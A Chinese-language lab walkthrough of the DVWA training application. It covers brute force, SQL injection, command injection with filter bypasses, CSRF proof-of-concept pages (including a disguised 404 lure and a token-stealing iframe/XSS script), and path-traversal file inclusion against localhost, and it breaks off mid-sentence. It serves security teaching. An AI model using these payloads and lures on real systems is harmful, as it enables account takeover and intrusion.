~目錄~
- 開始
- Brute Force
-
- 四種爆破模式
- Low
- Medium
- High
- Impossible
- Command Injection
-
- 亂碼解決方法
- Low
- Medium
- High
- Impossible
- CSRF
-
- Low
- Medium
- High
- Impossible
- File Inclusion
-
- Low
- Medium
- High
- Impossible
- File Upload
-
- Low
- Medium
- High
- Impossible
- Insecure CAPTCHA(未科學上網)
-
- Low
- Medium
- High
- Impossible
- 總結
開始
開始日DVWA
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHLxMmaNBzYE9kMRpHW4Z0MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL4MzM0IzM0AjM3IzMwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
一個大佬
Brute Force
Brute Force即暴力破解,需要用到
Burp Suite
中的
Intruder
四種爆破模式
1.Sniper
這個是我們最常用的,Sniper是狙擊手的意思。這個模式會使用單一的payload【就是導入字典的payload】組。它會針對每個position中$$位置設定payload。這種攻擊類型适合對常見漏洞中的請求參數單獨地進行測試。攻擊中的請求總數應該是position數量和payload數量的乘積
2.Battering ram
這一模式是使用單一的payload組。它會重複payload并且一次把所有相同的payload放入指定的位置中。這種攻擊适合那種需要在請求中把相同的輸入放到多個位置的情況。請求的總數是payload組中payload的總數。簡單說就是一個playload字典同時應用到多個position中
3.Pitchfork
這一模式是使用多個payload組。對于定義的位置可以使用不同的payload組。攻擊會同步疊代所有的payload組,把payload放入每個定義的位置中。比如:position中A處有a字典,B處有b字典,則a【1】将會對應b【1】進行attack處理,這種攻擊類型非常适合那種不同位置中需要插入不同但相關的輸入的情況。請求的數量應該是最小的payload組中的payload數量
4.Cluster bomb
這種模式會使用多個payload組。每個定義的位置中有不同的payload組。攻擊會疊代每個payload組,每種payload組合都會被測試一遍。比如:position中A處有a字典,B處有b字典,則兩個字典将會循環搭配組合進行attack處理這種攻擊适用于那種位置中需要不同且不相關或者未知的輸入的攻擊。攻擊請求的總數是各payload組中payload數量的乘積
Low
任意輸入賬号密碼抓包,發送到
Intruder
發現已經對所有可能的爆破點進行标記,我們點選
Clear
,将所有的标記清除
選擇
Attack type
為
Cluster bomb
,在
username
和
password
位置添加标記
在
Payload set
1和2導入字典
然後
Start attack
,發現一個
Length
與其他不同的,這個就是正确的賬号密碼了
回去驗證一下,成功
檢視源碼
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
發現存在sql注入
Username:admin’or’1’='1
Password:(空)
Username :admin’#
Password :(空)
Medium
檢視源碼
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
mysqli_real_escape_string()
函數對使用者名和密碼進行了轉義操作,避免了sql注入
文法:
mysqli_real_escape_string(connection,escapestring)
參數:
connection 必需 規定要使用的 MySQL 連接配接
escapestring 必需 要轉義的字元串 編碼的字元是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z
采用Low的方法依舊可以爆破出,隻不過時間長了很多,因為有一個
sleep()
函數,試一次賬号密碼要2秒才能嘗試下一個
High
檢視源碼
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
stripslashes()
函數删除由
addslashes()
函數添加的反斜杠
stripslashes()函數
文法:
stripslashes(string)
參數:
string 必需 規定要檢查的字元串
提示:該函數可用于清理從資料庫中或者從 HTML 表單中取回的資料
addslashes()函數
預定義字元是:
單引号(’) 雙引号(") 反斜杠(\) NULL
提示:該函數可用于為存儲在資料庫中的字元串以及資料庫查詢語句準備字元串
注釋:預設地,PHP 對所有的 GET、POST 和 COOKIE 資料自動運作 addslashes(),是以您不應對已轉義過的字元串使用addslashes(),因為這樣會導緻雙層轉義,遇到這種情況時可以使用函數 get_magic_quotes_gpc() 進行檢測
同時,增加了
token
驗證,每次伺服器傳回的登陸頁面中都會包含一個随機的
user_token
的值, 使用者每次登入時都要将
user_token
一起送出。伺服器收到請求後,會優先做token的檢查,再進行sql查詢
抓包,設定變量,這裡我們設定
password
和
user_token
為payload
在Options中找到Grep-Extract
點選Add,然後Refetch response,選中user_token的value值,自動比對正則擷取
線程設定為1,因為Recursive_Grep模式不支援多線程攻擊
設定Redirections為Always
位置1處導入密碼字典
位置2處type選擇Recursive grep,然後在下方填入抓包擷取的user_token值
然後爆破出密碼
Impossible
檢視源碼
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
$html .= "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到Impossible加入了更可靠的防爆破機制,同時采用了更為安全的
PDO
(PHP Data Object)機制防禦sql注入,這是因為不能使用
PDO
擴充本身執行任何資料庫操作,而sql注入的關鍵就是通過破壞sql語句結構執行惡意的sql指令
頻繁的錯誤登入系統會将賬戶鎖定
Command Injection
Command Injection即指令行注入
亂碼解決方法
在 …/DVWA/dvwa/includes目錄下,有個dvwaPage.inc.php檔案,直接搜尋charset(在277行),将utf-8修改為GBK
這樣就顯示正确了
Low
輸入127.0.0.1&&ipconfig,成功回顯
檢視源碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
$_REQUEST
— HTTP Request 變量,預設情況下包含了
$_GET
,
$_POST
和
$_COOKIE
的數組
php_uname
— 傳回運作 PHP 的系統的有關資訊
‘a’:此為預設。包含序列 “s n r v m” 裡的所有模式
‘s’:作業系統名稱。例如: FreeBSD
‘n’:主機名。例如: localhost.example.com
‘r’:版本名稱,例如: 5.1.2-RELEASE
‘v’:版本資訊。作業系統之間有很大的不同
‘m’:機器類型。例如:i386
stristr()
函數搜尋字元串在另一字元串中的第一次出現
文法:
stristr(string,search,before_search)
參數:
string 必需 規定被搜尋的字元串
search 必需 規定要搜尋的字元串,如果該參數是數字,則搜尋比對該數字對應的 ASCII 值的字元
before_search 可選 預設值為"false" 的布爾值,如果設定為 “true”,它将傳回 search 參數第一次出現之前的字元串部分
shell_exec(cmd)
:在外部執行一個指令,參數cmd即為要執行的指令
這關是執行一個在浏覽器上的ping指令程式,伺服器會對作業系統的名稱進行檢測,如果不是Windows NT系統則執行linux系統的Ping指令。但是,由于伺服器未對ip參數進行任何的過濾,是以存在Command Injection漏洞
以下三種連接配接符在windows和linux環境下都支援:
指令1 && 指令2 :先執行指令1,若指令1執行成功再執行指令2,若指令1執行不成功則不執行指令2
指令1 & 指令2 :先執行指令1,不管指令1執行成不成功都繼續執行指令2
指令1 | 指令2 :隻執行指令2,前提是指令1必須執行成功
||僅支援windows:
指令1 || 指令2 :先執行指令1,若指令1執行成功則不執行指令2,若指令1執行不成功則執行指令2
Medium
檢視源碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
發現黑名單,将&&和;替換為空
可以&;&繞過:
127.0.0.1 &;& ipconfig
當然還可以使用&、||、|
High
檢視源碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
發現黑名單過濾了更多字元
但是
'| ' => ''
過濾的是
|空格
,是以 | 可以繼續使用
|;|
也是可以的
127.0.0.1|ipconfig
Impossible
檢視源碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
explode(separator,string,limit)
函數把字元串打散為數組,傳回字元串的數組。參數
separator
規定在哪裡分割字元串,參數
string
是要分割的字元串,可選參數
limit
規定所傳回的數組元素的數目
is_numeric(string)
函數檢測
string
是否為數字或數字字元串,如果是傳回
TRUE
,否則傳回
FALSE
可以看到,Impossible級别的代碼加入了Anti-CSRF token,同時對參數ip進行了嚴格的限制,隻有諸如“數字.數字.數字.數字”的輸入才會被接收執行,是以不存在指令注入漏洞
CSRF
CSRF即跨站請求僞造
Low
輸入兩次密碼,更改成功
連結變成了
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
那麼我們可以構造一個CSRF攻擊的連結,用同一個浏覽器點選這個連結
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
就會改掉密碼,變成password
需要注意的是,CSRF最關鍵的是利用受害者的cookie向伺服器發送僞造請求,是以如果受害者之前用Firefox登入的這個系統,而用Chrome點選這個連結,攻擊是不會觸發的,因為Chrome并不能利用Firefox的cookie,是以會自動跳轉到登入界面
檢視源碼
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
先得到get送出的兩個密碼,驗證兩次密碼是否一緻
然後檢測
$GLOBALS["___mysqli_ston"]
全局資料庫連接配接變量是否設定和它是否是一個對象。如果是的話,用
mysqli_real_escape_string()
函數去轉義一些字元,如果不是的話用
trigger_error
輸出錯誤
将密碼md5加密,進行sql語句操作,修改密碼
模拟一下真實環境:
A:直接讓受害者通路
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
一眼就看出來這是個改密碼的連結
可以采取短連結隐藏url(由于域名是ip,是以無法修改,真實環境下是可以的)
不過受害者通路後可以看到自己密碼被修改
B:找到 Generate CSRF PoC
把其中的檔案提取出來,複制之後,建立一個.html檔案
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123" />
<input type="hidden" name="password_conf" value="123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
點選submit,修改成功(這種方式受害者也會看到密碼被修改成功)
C:可以寫一個404界面
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
這種方式通路.html時,受害者會誤認為是自己點選的是一個失效的url,但實際上已經遭受了CSRF攻擊,密碼已經被修改為了password
Medium
檢視源碼
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
$_SERVER['HTTP_REFERER']
可以擷取目前連結的上一個連接配接的來源位址
$_SERVER['SERVER_NAME']
獲得主機名
stripos()
查找字元串首次出現的位置(不區分大小寫),如果未發現将傳回
FALSE
這個級别在上一級别增加了驗證
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
必須在
http_referer
頭裡包含有網站
host
主機内容
我們直接通路這個連結
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=pass&password_conf=pass&Change=Change#
會提示如下:
抓包,發現缺少了Referer頭,我們給它加上(隻要包含host就可),就可以修改成功
High
檢視源碼
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
High級别的代碼加入了Anti-CSRF token機制,使用者每次通路改密頁面時,伺服器都會傳回一個随機的token,當浏覽器向伺服器發起請求時,需要送出token參數,而伺服器在收到請求時,會優先檢查token,隻有token正确,才會處理用戶端的請求
是以現在要想進行CSRF攻擊就必須擷取到使用者的token,而要想擷取到 token 就必須利用使用者的 cookie 值去通路修改密碼的頁面,然後截取伺服器傳回的token值。然後再利用CSRF漏洞構造URL進行密碼的修改
我們嘗試利用下面的代碼去構造一個頁面,誘使使用者點選,當使用者點選該連結的這一刻,該代碼會偷偷的通路修改使用者密碼的頁面,然後擷取到伺服器傳回的 token ,然後再構造修改密碼的表單,加上我們擷取到伺服器的token值,向伺服器發送修改密碼的請求
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://127.0.0.1/DVWA/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://127.0.0.1/DVWA/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
可是,我們忘記了浏覽器最重要的一個政策——同源政策。由于我們架構ifame要通路的連結是 http://127.0.0.1/vulnerabilities/csrf/ ,這是漏洞網站伺服器的連結。而我們的腳本執行的位置是我們自己搭的一個伺服器,是以我們的攻擊腳本是不可能跨域取到改密界面中的user_token
由于這裡跨域是不能實作的,是以我們之前的想法以失敗告終了。
在這裡,我們要想擷取到使用者的token,并送出修改密碼的表單的話,就必須得把我們的攻擊腳本注入到目标伺服器中 。而要想注入到目标伺服器,同時得發揮作用,擷取使用者的 token修改密碼的話,就得和XSS漏洞一起結合實作了
我們将如下代碼通過存儲型XSS插入到資料庫中,這語句會彈出使用者的token
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>
也可以結合上面的源代碼利用上傳漏洞上傳到伺服器,然後引誘受害者點選,即可修改密碼
Impossible
檢視源碼
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看出,impossible級别修改密碼需要輸入之前的密碼,黑客無法知道使用者之前的密碼,是以無法進行CSRF攻擊
File Inclusion
File Inclusion即檔案包含
Low
點選三個連結,可以看到url的變化
嘗試讀取一個不存在的檔案,發現報錯
裡面包含了一個絕對路徑
D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php
嘗試讀取檔案
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini
上面使用的是絕對路徑,也可以使用相對路徑,
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\php.ini
發現可以讀取到php.ini檔案
遠端檔案包含
當伺服器的php配置中,選項allow_url_fopen與allow_url_include為開啟狀态On時,伺服器會允許包含遠端伺服器上的檔案,如果對檔案來源沒有檢查的話,就容易導緻任意遠端代碼執行。
假如,一個位址為x.x.x.x的伺服器上包含一個phpinfo.txt檔案,内容為
<?php
phpinfo();
?>
那麼就可以通過通路
